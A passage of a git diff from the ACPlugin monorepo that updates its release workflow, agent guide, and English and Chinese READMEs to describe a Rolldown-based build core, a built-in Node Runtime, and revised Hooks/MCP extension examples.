"0.0.2-beta", + "@acplugin/playground": "0.0.1-beta", + "@acplugin/test": "0.0.1-beta" + }, + "changesets": [] +} diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml index 3f6595d..d22c3a3 100644 --- a/.github/workflows/check.yml +++ b/.github/workflows/check.yml @@ -18,6 +18,7 @@ jobs: node-version: 22.18.0 cache: pnpm - run: pnpm install --frozen-lockfile + - run: pnpm run versions:check - run: pnpm run lint - run: pnpm run typecheck diff --git a/.github/workflows/patch.yml b/.github/workflows/patch.yml index e42c5d9..89a3ebc 100644 --- a/.github/workflows/patch.yml +++ b/.github/workflows/patch.yml @@ -60,6 +60,11 @@ jobs: console.error('::error::The target branch must contain at least one Changeset that bumps a public package.') process.exit(1) } + const publicReleases = status.releases.filter(release => release.name.startsWith('@tokenroll/')) + if (publicReleases.length === 0 || publicReleases.some(release => !/^\d+\.\d+\.\d+-beta\.\d+$/.test(release.newVersion))) { + console.error('::error::The beta branch may only create explicit beta prerelease versions.') + process.exit(1) + } NODE - name: Consume Changesets and bump independent packages diff --git a/AGENTS.md b/AGENTS.md index 65f76e9..4f05914 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -2,7 +2,7 @@ ## 项目定位 -ACPlugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书写 Commands、Skills、Agents,以及可选 Hooks/MCP;`init` 默认生成显式安装 Claude Code 与 Codex Platform 的工程,使用者也可安装 Cursor、Antigravity、OpenCode、Pi 或任意第三方 Platform。 +ACPlugin 是基于 Rolldown 的统一 AI Plugin 框架和 CLI。作者通过规范化工程书写 Commands、Skills、Agents,以及可选 Hooks/MCP/Node Runtime;`init` 默认生成显式安装 Claude Code 与 Codex Platform 的工程,使用者也可安装 Cursor、Antigravity、OpenCode、Pi 或任意第三方 Platform。 - 公开包:`@tokenroll/acplugin`、六个 `@tokenroll/acplugin-platform-*`、`@tokenroll/acplugin-extension-hooks`、`@tokenroll/acplugin-extension-mcp` - 私有包:Core、内部 Test、Docs、Playground workspace @@ -16,7 +16,7 @@ ACPlugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书 - tsdown 负责 package bundle 和声明文件 - Vitest 只用于仓库内部测试 - Commander.js + `@inquirer/prompts` 负责 CLI/TUI -- Rolldown 只用于 Hooks/MCP 本地可执行内容 bundle +- Core 基于 Rolldown 提供统一 Module/Build Service;Hooks、MCP、Node Runtime 与第三方集成都不得自建 Bundler - VitePress 1.6 + TypeDoc 0.28 负责私有 Docs;TypeDoc 使用 TypeScript 6 Compiler API 兼容层 ## Monorepo @@ -24,7 +24,7 @@ ACPlugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书 ```text packages/ ├── acplugin/ # 公开 CLI/facade,内含隔离 Migration -├── core/ # 私有配置、扫描、生命周期、Artifact、事务 +├── core/ # 私有配置、Resource、Rolldown、Runtime、生命周期、Asset/Package、事务 ├── platforms/ # 六个独立公开 Platform 实现包 │ ├── claude-code/ │ ├── codex/ @@ -40,31 +40,34 @@ packages/ └── playground/ # 私有、领域中立的全能力消费模板 ``` -`@tokenroll/acplugin` 构建时必须 bundle Core,但不得 bundle 或重新导出官方 Platform/Extension。六个官方 Platform 与 Hooks/MCP Extension 都只能从主包公开 SDK 导入契约,并通过 `workspace:^` peer 开发边连接主包;pack 后必须变为正常 `^x.y.z`。任何公开 tarball 的运行时依赖都不得出现 `@acplugin/*`。 +`@tokenroll/acplugin` 构建时必须 bundle Core,但不得 bundle 或重新导出官方 Platform/Extension。六个官方 Platform 与两个官方 Extension 都只能从主包公开 SDK 导入契约,并通过 `workspace:^` peer 开发边连接主包;pack 后必须变为正常 `^x.y.z`。任何公开 tarball 的运行时依赖都不得出现 `@acplugin/*`。 ## 统一构建架构 ```text -Config → fixed Core lifecycle → Canonical Scanner → Platform Draft - → Extension Adapter → DeliveryUnit validation → managed output transaction → report +Config → fixed Core lifecycle → Resource discovery → Canonical Project + → Platform base Package → unordered add-only Contributions + → finalized Package candidates → compatibility → transaction → BuildReport ``` Core 固定生命周期为: ```text -configResolved → buildStart → Extension.discover → Scanner -→ Extension.validate/build → Platform.prepare → Adapter.apply -→ Platform.generateBundle/validateBundle → generateDistributions -→ compatibility propagation → transaction → buildEnd +config → setup Sessions → Resource/Extension discovery → Canonical Project +→ Component/Extension validation → Extension/Core Runtime compile +→ Platform.createPackage → Contributor collection → Core merge +→ Platform.finalizePackage → candidate materialize/validate +→ createDistributions/validate → compatibility propagation +→ managed transaction → reverse close ``` -- Core 定义唯一阶段顺序、Context、诊断、兼容性、Artifact 所有权和事务,不包含平台名称分支。 -- Platform 负责一种目标平台的 Component 转换、结构化 Document、主 DeliveryUnit、可选 Marketplace Distribution 和最终候选校验。 -- Extension 负责横向作者能力;其 Built State 通过显式 `ExtensionPlatformAdapter` 以 add-only 方式参与对应 Platform Draft。 -- Adapter 只能读取已公开 Document、向声明的 extension point 新增字段、追加 Artifact 和报告兼容性,不能替换 Platform 或完整文档。 -- 每个 Platform/Extension 只能写 Core 提供的独占 workDir,不能直接写 `dist`,文件型 Artifact 也按 owner 独立授权。 +- Core 定义唯一阶段顺序、Context、诊断、兼容性、Asset 所有权和事务,不包含平台名称分支。 +- Platform 负责一种目标平台的 Component 转换、结构化 Document、base Package、主 Package 身份、可选 Marketplace Distribution 和最终候选校验。 +- Extension 负责横向作者能力;其 Built State 通过显式 `PlatformContributor` 对同一只读 base Package 返回无序 add-only `PackageContribution`。 +- Contributor 只能读取 base Package、向声明的 extension point 新增字段、追加自有 Asset 和报告兼容性,不能替换 Platform、完整 Document 或已有字段。 +- Platform/Extension 不获得物理 workDir 或 `dist` 写权限;Source、Module、Compiler、Execution 和 Asset Service 由 Core 按 owner 授权。 - Platform options 必须是深度冻结的 JSON;Extension 不提供依赖图和跨 Extension State 读取。 -- `buildEnd` 在成功/失败时均按初始化逆序执行,收到的异常只能是脱敏摘要。 +- Session `close` 在成功/失败时均按初始化逆序执行,收到的异常只能是脱敏摘要。 - CLI 与程序化 `runProject()` 必须只调用 Core 的唯一 Platform/Extension 生命周期,不得维护第二条构建路径。 ## Canonical Components @@ -78,22 +81,26 @@ configResolved → buildStart → Extension.discover → Scanner 兼容性必须显式:每个 Platform 都要逐资源报告 `native`、`transform`、`degraded` 或 `unsupported`。Claude 原生 Commands/Skills/Agents;Codex 原生 Skills、Commands 转 Skill、Agents 降级为 Skill;Cursor 原生三类 Component;Antigravity 以 Skill 转换 Command/Agent;OpenCode 生成 Workspace 原生资源;Pi 以 Prompt/Skill 转换 Command/Agent。严格模式不得静默接受 degraded/unsupported。 -## Hooks/MCP Extension +## Hooks/MCP Extension 与 Core Runtime -- 未启用对应 Extension 时发现 `src/hooks` 或 `src/mcp` 内容必须失败。 -- Hook 作者只返回语义结果,目标 stdin/stdout 协议由 adapter 负责。 +- 未启用对应 Extension 时发现 `src/hooks` 或 `src/mcp` 内容必须失败;`src/runtime` 由 Core 直接拥有。 +- Hook 作者只返回语义结果,目标 stdin/stdout 协议由 Contributor 负责。 - Hook runner 必须限制输入/输出、捕获顶层错误、使用固定脱敏错误码。 - MCP 只支持 portable intersection:Streamable HTTP 与本地 stdio。 - HTTP 的 secret 使用 `{ env }` 引用,构建过程不得读取值。 - 本地 stdio MCP 必须是完整实现,并通过真实 `initialize`/`tools/list` smoke。 - bundle 包含第三方包时,必须生成相邻 `THIRD_PARTY_LICENSES.txt`。 +- Node Runtime 默认把 `src/runtime/` 下受支持的一级 TS/JS 文件作为 executable 入口;嵌套文件只作为依赖。`runtime.entries` 完整替换自动发现,`runtime: false` 显式关闭。 +- Core 在 Scanner 后使用 `portable-node` 对每个 Runtime 入口只构建一次,owner 固定为 `framework:node-runtime`,并仅向声明稳定 Plugin-local Node 20 ESM capability 的平台交付。 +- Runtime 固定输出 `runtime//main.mjs` 与可选相邻许可证,不需要 descriptor、factory、Extension Contributor 或 Manifest patch。 +- 第三方 Platform/Extension 可使用 Core `managed-rolldown`,但 `cwd`、input、日志、输出目录、watch 与 close 始终由 Core 接管;许可证默认 `strict`,显式 `ignore` 表示调用方自行承担法律材料交付责任。 -## Artifact 与事务 +## Asset 与事务 -- Artifact 只允许 `bytes` 或已验证的普通文件来源,mode 只允许 `0644/0755`。 +- Asset 只允许 Core 签发的 Source、Generated 或 Bytes 引用,mode 只允许 `0644/0755`。 - 输出路径拒绝绝对路径、NUL 和任何 `..` 片段,并拒绝符号链接、大小写及 Unicode 规范化冲突。 -- Platform 只能引用自己的 workDir 和 Scanner 精确发现的 Component/Skill 辅助文件;Extension 只能引用自己的 workDir;Public 只能引用 Scanner 精确发现的文件。 -- Platform Draft、主 DeliveryUnit 和 Distribution 必须保留继承 Artifact 的 owner、mode、size 与 hash。 +- Platform 只能引用 Core 授权的 Component/Skill 辅助 Source 和自身 owner-scoped Service 生成的 Asset;Extension 只能引用自身发现或生成的 Asset;Public 只能引用 Core 精确发现的文件。 +- base/merged/primary Package 和 Distribution 必须保留继承 Asset 的 owner、mode、size 与 hash。 - `dist` 是框架完整托管目录;成功构建按选中目标集合整体替换。 - 事务顺序:锁 → 恢复 → stage → 校验 → transaction/backup → swap → cleanup。 - 任一目标/阶段失败必须保留上次完整输出;事务修改必须补 fault-injection 测试。 @@ -124,7 +131,7 @@ pnpm run docs:check pnpm run release:verify ``` -新增功能必须按风险补充:schema/graph、Platform golden、Extension/Adapter 生命周期、Artifact owner 隔离、事务故障、CLI 子进程/退出码、Watch 恢复、Hook adapter、MCP 协议、Migration 和 tarball consumer 测试。不得用缺少 fixture 的大面积 skip 代替验证。 +新增功能必须按风险补充:schema/graph、Platform golden、Extension/Contributor 生命周期、Runtime 单次构建与能力交付、Asset owner 隔离、事务故障、CLI 子进程/退出码、Watch 恢复、Hook Contributor、MCP 协议、Migration 和 tarball consumer 测试。不得用缺少 fixture 的大面积 skip 代替验证。 ## 发行 diff --git a/README.md b/README.md index 39451de..31d83ba 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,7 @@ [中文文档](./README.zh-CN.md) -ACPlugin is a canonical AI plugin framework and CLI. You author Commands, Skills, Agents, optional Hooks, and optional MCP servers once; ACPlugin builds Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. +ACPlugin is a Rolldown-powered canonical AI plugin framework and CLI. You author Commands, Skills, Agents, and optional Hooks, MCP servers, or Node runtimes once; ACPlugin builds Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. This is not a Claude-project converter. The canonical project is the source of truth, and each Platform owns its final manifest, paths, compatibility decisions, and deterministic serialization. Legacy Claude projects and plugins are handled separately by `acplugin migrate`. @@ -65,8 +65,11 @@ my-plugin/ │ └── reviewer.md ├── hooks/ # only with the Hooks Extension │ └── policy/hook.ts - └── mcp/ # only with the MCP Extension - └── docs/mcp.ts + ├── mcp/ # only with the MCP Extension + │ └── docs/mcp.ts + └── runtime/ # optional Core-managed Node Runtime sources + ├── cli.ts # direct files are entries by convention + └── internal/helpers.ts # nested files are normal dependencies ``` IDs and directory names use lowercase kebab-case. Markdown Components require YAML Frontmatter and a non-empty body. Symlinks and paths escaping the project are rejected. @@ -114,6 +117,7 @@ Top-level fields: | `srcDir` | Canonical source directory; defaults to `src`. | | `public` | `false`, a directory, or explicit copy rules. | | `platforms` | Required, non-empty list of explicitly imported Platform instances. | +| `runtime` | Built-in Node Runtime convention, explicit entries, compile options, or `false`. | | `extensions` | Optional horizontal capabilities such as Hooks and MCP. | | `build.outDir` | Managed output directory; defaults to `dist`. | | `build.strict` | Fail on degraded/unsupported compatibility; defaults to `true`. | @@ -131,7 +135,7 @@ import pi from '@tokenroll/acplugin-platform-pi'; const platforms = [claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()]; ``` -Claude Code, Codex, Cursor, and Antigravity emit static Plugin delivery units. OpenCode emits a workspace overlay; Pi emits an npm package. `acplugin init --platform ` installs and writes the selected packages explicitly. The main package does not re-export official integrations, discover packages by ID, or install anything during a build. +Claude Code, Codex, Cursor, and Antigravity emit static Plugin Packages. OpenCode emits a workspace overlay; Pi emits an npm package. `acplugin init --platform ` installs and writes the selected packages explicitly. The main package does not re-export official integrations, discover packages by ID, or install anything during a build. ## Core Components @@ -188,9 +192,9 @@ Components may require Skills and Agents. Missing dependencies, self-dependencie | Command | Native | Transform to Skill | Native | Transform to Skill | Native | Transform to Prompt | | Agent | Native | Degraded Skill | Native with field-level limits | Degraded Skill | Native with capability transform | Degraded Skill | -Codex installable plugins cannot register custom project/user Agents. Therefore an Agent makes a strict Codex build fail; `--no-strict` emits the fallback and a structured warning instead of silently claiming native support. +Codex installable plugins cannot register custom project/user Agents. Therefore an Agent makes a strict Codex build fail; configure `codex({ strict: false })` only when the explicit fallback and its structured warning are acceptable. -See the [complete compatibility matrix](./llmdoc/reference/conversion-matrix.md) for delivery units, every portable Hook event, and MCP transport support. +See the [complete compatibility matrix](./llmdoc/reference/conversion-matrix.md) for Package shapes, every portable Hook event, and MCP transport support. ## Hooks Extension @@ -214,9 +218,9 @@ export default defineConfig({ ```ts // src/hooks/policy/hook.ts -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; -export default defineHook({ +export default { event: 'PreToolUse', matcher: 'Bash', timeout: 5, @@ -225,7 +229,7 @@ export default defineHook({ ? { decision: 'allow' } : { decision: 'deny', reason: 'Missing working directory.' }; }, -}); +} satisfies Hook<'PreToolUse'>; ``` Portable events are: @@ -246,7 +250,7 @@ FileChanged, WorktreeCreate, WorktreeRemove, Elicitation, ElicitationResult Declare one with `event: { platform: 'claude-code', name: 'Setup' }`; a bare `'Setup'` string is rejected. -ACPlugin bundles each handler once as platform-neutral Node 20 ESM. Every Platform Adapter contributes a verified static or runtime integration and an adjacent `wire.mjs` for native input validation, recursive camelCase conversion, and output mapping; the shared Handler owns bounded JSON I/O, semantic result validation, safe failures, and deterministic third-party license notices. Meaningful matchers ignored by the selected host are reported per Hook as `degraded`; unsupported events generate no fake runtime. +ACPlugin bundles each handler once as a self-contained, platform-neutral Node 20 ESM executable. Verified platform wire profiles are compiled into that same Bundle for native input validation, recursive camelCase conversion, root/data mapping, and output mapping; no adjacent runtime JavaScript is required. The shared Handler owns bounded JSON I/O, semantic result validation, safe failures, and deterministic third-party license notices. Meaningful matchers ignored by the selected host are reported per Hook as `degraded`; unsupported events generate no fake runtime. ## MCP Extension @@ -272,42 +276,63 @@ Remote Streamable HTTP server: ```ts // src/mcp/docs/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; -export default defineMcpServer({ +export default { transport: 'http', url: 'https://example.com/mcp', auth: { type: 'bearer', env: 'DOCS_TOKEN' }, headers: { 'X-Tenant': { env: 'TENANT_ID' } }, -}); +} satisfies McpServer; ``` Local stdio server: ```ts // src/mcp/local-tools/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; -export default defineMcpServer({ +export default { transport: 'stdio', entry: 'server.ts', env: { API_TOKEN: { env: 'LOCAL_API_TOKEN' } }, -}); +} satisfies McpServer; ``` For local MCP, you provide a complete stdio MCP implementation in `server.ts`; ACPlugin bundles it for Node 20 ESM. Both development and production builds reject unresolved runtime dynamic imports, start the bundle with only declared literal environment values, and require a bounded `initialize → initialized → tools/list` smoke test to pass. No mode branch or cache bypasses this protocol check. Referenced secret values are never read. For HTTP MCP, you declare the remote endpoint and auth/header references—there is no local server implementation to provide. Production HTTP endpoints require HTTPS; development permits loopback HTTP. Claude Code, Codex, and OpenCode support both remote HTTP and bundled local stdio. Cursor and Antigravity support remote HTTP only; Pi reports MCP unsupported. See the [complete compatibility matrix](./llmdoc/reference/conversion-matrix.md). +## Built-in Node Runtime + +```ts +// acplugin.config.ts +export default defineConfig({ + // ...metadata and explicit Platforms + runtime: { + entries: { + cli: { entry: 'bin/cli.ts', kind: 'executable' }, + library: { entry: 'library.ts', kind: 'module' }, + }, + compile: { treeshake: true }, + }, +}); +``` + +With no `runtime` field, every supported direct file under `src/runtime/` is an executable entry; nested files remain normal dependencies. An explicit `runtime.entries` map completely replaces auto-discovery, and `runtime: false` disables the convention. Each entry becomes one deterministic, self-contained Node 20 ESM bundle at `runtime//main.mjs`. npm dependencies are bundled, only `node:` built-ins remain external, executable entries use mode `0755`, module entries use `0644`, and third-party notices are emitted next to the bundle when required. Core compiles every entry once, then Claude Code and Codex inherit the same framework-owned bytes. Platforms without a stable local Node/plugin-root contract report `unsupported` and receive no substitute Asset. Type checking remains the project-owned `tsc --noEmit` step. + ## Extension lifecycle All Extensions participate in the same Core-owned pipeline: ```text -configResolved → buildStart → discover → validate → build → Platform prepare → Adapter → Platform generate/validate → buildEnd +config → setup Sessions → discover Resources → Canonical Project +→ validate → compile → Platform base Package → Contributors → Core merge +→ finalize → materialize/validate candidates → Distributions +→ compatibility → transaction → reverse close ``` -Extensions use only their provided work directory. A build can register every source/dependency it actually reads with `context.addWatchFile()` so `dev` follows the complete graph. Platform Adapters can emit Artifacts, add fields at declared Document extension points, and report compatibility; they cannot replace the Platform pipeline or write `dist` directly. `buildEnd` always runs in reverse initialized order. +Descriptor loading goes through `context.modules`, while executable output goes through the Core-owned Rolldown service at `context.compiler`. The services register the actual module, license, plugin, and tsconfig graph for `dev`; integrations receive owner-scoped capabilities, do not create private bundlers, and cannot write `dist`. Platform Contributors can return owned Assets, add fields at declared Document extension points, and report compatibility from the same immutable base Package; they cannot replace Platform output or observe other Extension state. Session `close` always runs in reverse initialization order. ## CLI @@ -320,24 +345,24 @@ acplugin build acplugin migrate [destination] ``` -Common project options include `--config`, `--platform`, `--mode`, `--no-strict`, and `--json`. +Common project options include `--config`, `--platform`, `--mode`, and `--json`. Compatibility strictness is declared in `acplugin.config.ts` through `build.strict` or a Platform factory override. - `validate` runs complete Platform generation and materialization validation without writing `dist`. -- `inspect` adds detailed Artifact metadata without writing `dist`. +- `inspect` adds detailed Package/Asset metadata without writing `dist`. - `build` atomically replaces the complete managed `dist` only after every selected Platform succeeds. -- `dev` watches config, Jiti-transformed local config imports, Components, Public files, descriptors, and Extension-registered bundle dependencies. External transformed config helpers are watched conservatively at their nearest package root. It performs a catch-up build after each new watcher becomes ready, retains the last successful output after failures, and rebuilds after recovery. Native ESM imports that bypass Jiti transformation and runtime-computed dynamic import targets cannot be discovered precisely; keep them under the project root or make their package root reachable through a transformed helper. +- `dev` watches config, the Core Module/Build Service graph, Components, Public files, descriptors, and bundler/plugin/license/tsconfig dependencies. Package dependencies are watched at their resolved package roots. It performs a catch-up build after each new watcher becomes ready, retains the last successful output after failures, and rebuilds after recovery. Runtime-computed import targets that Rolldown cannot place in a static module graph are rejected for managed executable bundles. - Bare `acplugin` prints Help and never prompts. Exit codes are `0` success, `1` project/build/migration failure, `2` CLI usage or internal framework failure, and `130` cancellation. JSON mode writes one schema-versioned document to stdout for non-watch commands; diagnostics/logs use stderr. ## Deterministic output and security -- Artifacts are immutable regular files with an owner, mode, size, and SHA-256. +- Assets are immutable owner-scoped references reported with mode, size, SHA-256, and structured origin. - Absolute/traversal paths, symlinks, path collisions, and sources outside approved roots are rejected. - Builds use a same-filesystem stage, lock, transaction record, backup, and whole-output swap. - Any Platform failure preserves the previous complete `dist`. - Generated files and reports contain no timestamps, temporary paths, environment values, or credentials. -- Extension source under `src/hooks` or `src/mcp` without its Extension enabled is an error. +- Extension source under `src/hooks` or `src/mcp` without its Extension enabled is an error; `src/runtime` is owned directly by Core. ## Legacy Migration @@ -351,7 +376,7 @@ acplugin migrate ./legacy-project ./new-plugin \ acplugin migrate owner/repository ./new-workspace --all ``` -Supported sources include local Claude projects, single plugins, marketplaces, and supported GitHub forms. `--plugin ` writes one canonical project directly at the destination; only `--all` creates a pnpm workspace of independent projects. Skills, Commands, Agents, and portable remote HTTP MCP declarations are mapped where possible. Instructions, raw Hooks, Hook implementation files, local external-command MCP, and unsupported resources are preserved under `.acplugin-migration/unmapped/` with a stable report and manual actions. Every generated project is loaded through the public API and runs real Extension/Platform validation before atomic commit. Migration never writes in place. +Supported sources include local Claude projects, single plugins, marketplaces, and supported GitHub forms. `--plugin ` writes one canonical project directly at the destination; only `--all` creates a pnpm workspace of independent projects. Skills, Commands, Agents, and portable remote HTTP MCP declarations are mapped where possible. Instructions, raw Hooks, Hook implementation files, local external-command MCP, and unsupported resources are preserved under `.acplugin-migration/unmapped/` with a stable report and manual actions. Before atomic commit, every generated project is loaded through the public API and checked by the real Core Module Service, Scanner, lifecycle, and isolated Migration validators; installed Platform/Extension packages perform their full semantic validation when the generated project is built. Migration never writes in place. Use `--dry-run` for scan/map/validation without destination writes and `--strict` to fail on any degraded or unmapped item. @@ -360,7 +385,7 @@ Use `--dry-run` for scan/map/validation without destination writes and `--strict The repository includes two private, repository-only workspaces beside the publishable packages: - `packages/docs` is a VitePress site with task-oriented Guide, Config, Platform, Extension, Ecosystem, Playground, and Resource sections. TypeDoc regenerates API pages and the sidebar for all nine public package root entries before every docs dev/build. -- `packages/playground` is a domain-neutral six-Platform/Hooks/MCP capability template. It validates canonical Commands, Skill auxiliary files, Agents, all portable Hook events, HTTP and local MCP, Public files, and Claude Code/Codex Marketplaces without implementing product-specific behavior. +- `packages/playground` is a domain-neutral six-Platform/Hooks/MCP/Node Runtime capability template. It validates canonical Commands, Skill auxiliary files, Agents, all portable Hook events, HTTP and local MCP, portable Node runtime delivery, Public files, and Claude Code/Codex Marketplaces without implementing product-specific behavior. ```bash pnpm run docs:dev # generate API pages, then start VitePress @@ -393,7 +418,7 @@ pnpm run docs:check pnpm run release:verify ``` -`release:verify` creates all nine public tarballs from one revision, inspects their files/manifests and type resolution, verifies peer rewriting and brand interoperability, and installs a six-Platform/two-Extension scaffold into a clean external consumer. It performs no npm publication. +`release:verify` creates all nine public tarballs from one revision, inspects their files/manifests and type resolution, verifies peer rewriting and brand interoperability, and installs a six-Platform/two-Extension scaffold into a clean external consumer while exercising the built-in Runtime. It performs no npm publication. Pull requests automatically run lint/typecheck and an independent Docs/Playground quality gate. The manually dispatched `Patch` workflow accepts a target branch containing at least one effective Changeset that bumps a public package, consumes its Changesets to bump versions and generate changelogs, and opens a version PR back to that branch. diff --git a/README.zh-CN.md b/README.zh-CN.md index d5821f8..2127555 100644 --- a/README.zh-CN.md +++ b/README.zh-CN.md @@ -2,7 +2,7 @@ [English](./README.md) -ACPlugin 是一个统一的 AI Plugin 框架和 CLI。开发者只维护一套 Commands、Skills、Agents,以及可选的 Hooks/MCP 源码,ACPlugin 将其构建为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 各自拥有的交付产物。 +ACPlugin 是一个基于 Rolldown 的统一 AI Plugin 框架和 CLI。开发者只维护一套 Commands、Skills、Agents,以及可选的 Hooks、MCP、Node Runtime 源码,ACPlugin 将其构建为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 各自拥有的交付产物。 它不再以 Claude 工程为默认输入进行“格式转换”。规范化工程才是唯一事实来源,每个 Platform 负责最终 Manifest、路径、兼容性判断和确定性序列化。旧 Claude 工程/Plugin 的导入由隔离的 `acplugin migrate` 负责。 @@ -65,8 +65,11 @@ my-plugin/ │ └── reviewer.md ├── hooks/ # 仅启用 Hooks Extension 后使用 │ └── policy/hook.ts - └── mcp/ # 仅启用 MCP Extension 后使用 - └── docs/mcp.ts + ├── mcp/ # 仅启用 MCP Extension 后使用 + │ └── docs/mcp.ts + └── runtime/ # 可选,由 Core 托管的 Node Runtime 源码 + ├── cli.ts # 一级文件按约定成为入口 + └── internal/helpers.ts # 嵌套文件作为普通依赖 ``` ID 和目录名使用小写 kebab-case。Markdown Component 必须包含 YAML Frontmatter 和非空正文。符号链接、逃逸工程根目录的路径会被拒绝。 @@ -112,7 +115,8 @@ export default defineConfig(({ mode }) => ({ | `srcDir` | 规范化源码目录,默认 `src`。 | | `public` | `false`、目录,或明确 copy 规则。 | | `platforms` | 必填的非空列表,内容是显式导入的 Platform 实例。 | -| `extensions` | Hooks/MCP 等可选横向能力。 | +| `runtime` | 内建 Node Runtime 约定、显式入口、编译参数或 `false`。 | +| `extensions` | Hooks、MCP 等可选横向能力。 | | `build.outDir` | 托管输出目录,默认 `dist`。 | | `build.strict` | 遇到 degraded/unsupported 是否失败,默认 `true`。 | @@ -129,7 +133,7 @@ import pi from '@tokenroll/acplugin-platform-pi'; const platforms = [claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()]; ``` -Claude Code、Codex、Cursor 和 Antigravity 生成静态 Plugin 交付单元;OpenCode 生成 Workspace Overlay;Pi 生成 npm Package。`acplugin init --platform ` 会显式安装并写入所选 package。主包不会重新导出官方集成、按 ID 发现 package,也不会在构建时安装依赖。 +Claude Code、Codex、Cursor 和 Antigravity 生成静态 Plugin Package;OpenCode 生成 Workspace Overlay;Pi 生成 npm Package。`acplugin init --platform ` 会显式安装并写入所选 package。主包不会重新导出官方集成、按 ID 发现 package,也不会在构建时安装依赖。 ## 核心 Components @@ -186,9 +190,9 @@ Components 可以依赖 Skills 和 Agents。缺失依赖、自依赖和循环依 | Command | 原生 | 转换为 Skill | 原生 | 转换为 Skill | 原生 | 转换为 Prompt | | Agent | 原生 | 降级 Skill | 原生但有字段级限制 | 降级 Skill | 原生并转换能力字段 | 降级 Skill | -Codex 可安装 Plugin 不能注册自定义的工程/用户 Agent。因此包含 Agent 时,严格 Codex 构建会失败;使用 `--no-strict` 才会生成 fallback,并明确报告模型、能力约束和注册语义丢失。 +Codex 可安装 Plugin 不能注册自定义的工程/用户 Agent。因此包含 Agent 时,严格 Codex 构建会失败;只有明确接受 fallback 及其结构化告警时,才应配置 `codex({ strict: false })`。 -交付单元、全部可移植 Hook 事件和 MCP 传输支持请查看[完整兼容矩阵](./llmdoc/reference/conversion-matrix.zh-CN.md)。 +Package 形态、全部可移植 Hook 事件和 MCP 传输支持请查看[完整兼容矩阵](./llmdoc/reference/conversion-matrix.zh-CN.md)。 ## Hooks Extension @@ -212,9 +216,9 @@ export default defineConfig({ ```ts // src/hooks/policy/hook.ts -import { defineHook } from '@tokenroll/acplugin-extension-hooks'; +import type { Hook } from '@tokenroll/acplugin-extension-hooks'; -export default defineHook({ +export default { event: 'PreToolUse', matcher: 'Bash', timeout: 5, @@ -223,7 +227,7 @@ export default defineHook({ ? { decision: 'allow' } : { decision: 'deny', reason: '缺少工作目录。' }; }, -}); +} satisfies Hook<'PreToolUse'>; ``` 11 个可移植事件: @@ -244,7 +248,7 @@ FileChanged, WorktreeCreate, WorktreeRemove, Elicitation, ElicitationResult 使用 `event: { platform: 'claude-code', name: 'Setup' }` 声明;裸字符串 `'Setup'` 会被拒绝。 -ACPlugin 把每个实现只 bundle 一次,生成平台中立的 Node 20 ESM Handler;每个 Platform Adapter 贡献经过验证的静态或运行时集成,以及相邻的 `wire.mjs`,负责原生输入校验、递归 camelCase 转换和输出映射。共享 Handler 负责有界 JSON I/O、语义结果校验、安全错误和确定性的第三方许可证产物。宿主忽略的 meaningful matcher 会按具体 Hook 报告 `degraded`;不支持的事件不会生成伪运行时。 +ACPlugin 把每个实现只 bundle 一次,生成自包含、平台中立的 Node 20 ESM Handler;经过验证的平台 wire profile 会一同编译进该 Bundle,负责原生输入校验、递归 camelCase 转换、root/data 映射和输出映射,不再依赖相邻运行时 JavaScript。共享 Handler 负责有界 JSON I/O、语义结果校验、安全错误和确定性的第三方许可证产物。宿主忽略的 meaningful matcher 会按具体 Hook 报告 `degraded`;不支持的事件不会生成伪运行时。 ## MCP Extension @@ -270,40 +274,61 @@ export default defineConfig({ ```ts // src/mcp/docs/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; -export default defineMcpServer({ +export default { transport: 'http', url: 'https://example.com/mcp', auth: { type: 'bearer', env: 'DOCS_TOKEN' }, headers: { 'X-Tenant': { env: 'TENANT_ID' } }, -}); +} satisfies McpServer; ``` 本地 stdio: ```ts // src/mcp/local-tools/mcp.ts -import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +import type { McpServer } from '@tokenroll/acplugin-extension-mcp'; -export default defineMcpServer({ +export default { transport: 'stdio', entry: 'server.ts', env: { API_TOKEN: { env: 'LOCAL_API_TOKEN' } }, -}); +} satisfies McpServer; ``` 本地 MCP 需要由作者提供完整的 stdio MCP 实现,ACPlugin 将其 bundle 为 Node 20 ESM。development 与 production 构建都会拒绝无法静态解析的运行时 dynamic import,只把声明的公开字面量环境值传给探测进程,并要求在超时和输出上限内完成 `initialize → initialized → tools/list` 协议 smoke;不会通过 mode 分支或缓存跳过该检查,任何 Secret 引用值也不会被读取。HTTP MCP 只需要声明远程 endpoint、认证和 Header 引用。生产 HTTP 必须使用 HTTPS,开发模式仅允许 loopback HTTP。 Claude Code、Codex 和 OpenCode 同时支持远程 HTTP 与 Bundle 后的本地 stdio;Cursor 与 Antigravity 只支持远程 HTTP;Pi 会报告 MCP 不支持。详见[完整兼容矩阵](./llmdoc/reference/conversion-matrix.zh-CN.md)。 +## 内建 Node Runtime + +```ts +// acplugin.config.ts +export default defineConfig({ + // ...元数据与显式 Platforms + runtime: { + entries: { + cli: { entry: 'bin/cli.ts', kind: 'executable' }, + library: { entry: 'library.ts', kind: 'module' }, + }, + compile: { treeshake: true }, + }, +}); +``` + +省略 `runtime` 字段时,`src/runtime/` 下每个受支持的一级文件都会按约定成为可执行入口,嵌套文件仍作为普通依赖。显式 `runtime.entries` 会完整替换自动发现,`runtime: false` 则关闭该约定。每个入口会成为 `runtime//main.mjs` 下确定、自包含的 Node 20 ESM Bundle。npm 